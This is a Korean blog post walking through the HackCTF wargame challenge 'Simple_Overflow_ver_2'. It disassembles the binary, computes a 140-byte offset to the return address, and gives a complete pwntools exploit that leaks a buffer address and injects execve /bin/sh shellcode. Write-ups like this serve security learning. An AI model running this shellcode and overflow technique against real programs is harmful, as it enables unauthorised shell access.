Wargame/HackCTF

[HackCTF] Simple_Overflow_ver_2

핏디 2021. 7. 25. 17:09
SMALL

[문제]


[풀이]

바이너리를 실행해보면 입력 값에 대해 버퍼에 저장하여 주소와 함께 출력해주는 것을 확인할 수 있다.

주소는 실행할 때마다 바뀌고 있어 버퍼에 대한 값은 pwntool로 받아서 사용해야 할 것 같다.

 

보호 기법을 확인하니 NX 가 disabled 되어 있어 쉘코드를 작성할 수 있음을 확인할 수 있다.

 

main 함수를 확인하니 꽤나 긴 흐름을 확인할 수 있었는데, 주요 함수들을 위주로 정리해보면 다음과 같다.

 

main+61: Data : 출력

main+66: ebp-0x88 주소를 가져옴.

main+76: %s로 문자열을 입력 받을 것을 의미함.

main+83: scanf 함수 호출 -> 사용자의 입력 받음

main+88~232: 주소 값과 함께 사용자가 입력한 문자열을 1바이트 단위로 보여주는 과정

main+238~245: Again (y/n): 출력

main+260~267: 사용자에게 y/n 의 값 입력 받음

main+274: n이라면 main+306으로 이동해 종료함.

main+285: y이라면 main+54로 이동해 다시 문자열 입력 받음.

 

분석 결과를 토대로 c코드를 유추해보면,

이렇게 생각해볼 수 있겠다.

 

main함수에서 사용자의 입력 값을 받는 부분에 b를 걸어 다수의 a를 입력한 뒤에 ebp-0x88의 값을 확인하니 입력했던 a들이 존재하는 것을 볼 수 있다.

 

쉘을 실행할 수 있는 함수나 코드가 존재하지 않기 때문에 쉘코드를 삽입하여 exploit 해야 한다. 

 

입력 값(Data :) 부분에 쉘코드 작성 -> ret 주소까지 dummy 채움 -> ret 주소에 ebp-0x88의 주소 넣어줌

 

이렇게 알고리즘을 생각해볼 수 있다.

 

ret 주소를 확인하기 위해서 main+319에 bp를 걸어 확인하니 주소가 0xffffd0fc였다.

ebp-0x88의 주소는 0xffffd070이었으므로 ret까지의 거리는 8C(140) 임을 알 수 있다.

따라서, shellcode(31 byte) + dummy(109 byte) + ret 부분에 ebp-0x88 주소 (0xffffd070) 삽입하면 exploit 할 수 있을 것이다.

 

그런데, 프로그램을 실행할 때마다 주소가 바뀌었기 때문에 0xffffd070을 사용할 수 없고 pwntool에서 data 를 받을 때 생성된 주소를 받아 이용해야 한다!

 

이를 바탕으로 exploit 코드를 짜보면 다음과 같다.

 

  1 from pwn import *
  2 
  3 p = remote('ctf.j0n9hyun.xyz', 3006)
  4 
  5 p.recvuntil("Data : ")
  6 p.sendline("aaaa")
  7 
  8 buf_add = int(p.recv(10), 16)
  9 p.recvuntil("Again (y/n)")
 10 p.sendline("y")
 11 
 12 p.recvuntil('Data : ')
 13 
 14 payload = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\xb0\x01\xcd\x80"
 15 
 16 payload += "A" * 109 + p32(buf_add)
 17 p.sendline(payload)
 18 p.interactive()

코드를 분석해보면,

5-6: 주소를 확인하기 위해서 아무 값(aaaa)를 보낸다.

8: 서버가 보내는 문자열의 10바이트를 받아, 16진수 형태로 변환해 int형으로 형변환한다.

-> 사용자가 입력 값을 보내면 주소: a a a a 의 형태로 보냄.

-> 우리가 구하고자 하는 것은 주소임

-> 0xAAAAAAAA의 형태이기 때문에 10바이트이고 hex 형태인 것을 알 수 있음.

-> 주소를 문자열로 받아 처리할 수 없기 때문에 int 형으로 형변환을 해줘야 사용할 수 있음.

9-10: 쉘코드를 보내기 위해 Again에서 y를 눌러 초기화 진행

14: 31바이트의 쉘코드

16: ret 까지 dummy와 함께 buf의 주소를 보냄

-> 버퍼에서부터 ret까지 140 바이트 offset 발생

-> shellcode는 31바이트이므로 dummy는 140-31 =109 만큼을 보내줘야 함.

-> 8번 코드에서 받은 주소를 리틀엔디언 형식으로 보내주기 위해 p32() 사용

17-18: payload를 보내고 쉘 실행

 

작성한 exploit 코드를 실행하면 flag를 획득할 수 있다.

LIST

'Wargame > HackCTF' 카테고리의 다른 글

[HackCTF] BOF_PIE  (0) 2021.07.26
[HackCTF] Offset  (0) 2021.07.25
[HackCTF] x64 Simple_size_BOF 문제 풀이  (0) 2021.07.17
[HackCTF] x64 Buffer Overflow 문제 풀이  (0) 2021.07.17
[HackCTF] 내 버퍼가 흘러넘친다!  (0) 2021.07.17